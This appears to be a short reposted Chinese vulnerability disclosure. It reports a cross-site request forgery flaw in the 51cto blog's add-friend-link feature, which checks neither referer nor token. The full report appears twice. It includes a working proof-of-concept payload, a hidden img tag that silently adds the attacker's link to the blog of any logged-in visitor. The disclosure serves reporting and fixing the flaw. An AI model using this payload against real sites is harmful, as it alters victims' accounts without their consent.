添加友情链接没验证referer token
利用条件:
已登录过51cto
直接在浏览器访问如下POC
poc:
<img src="http://x007.blog.51cto.com//mod/edit_flink.php?type=addflink&uid=6330498&flink=http://x007.blog.51cto.com/" style="display:none;">
当别人访问之后可添加我的友情到他人博客。
结果:
本文共 264 字，大约阅读时间需要 1 分钟。
添加友情链接没验证referer token
利用条件:
已登录过51cto
直接在浏览器访问如下POC
poc:
<img src="http://x007.blog.51cto.com//mod/edit_flink.php?type=addflink&uid=6330498&flink=http://x007.blog.51cto.com/" style="display:none;">
当别人访问之后可添加我的友情到他人博客。
结果:
转载于:https://blog.51cto.com/0x007/1546385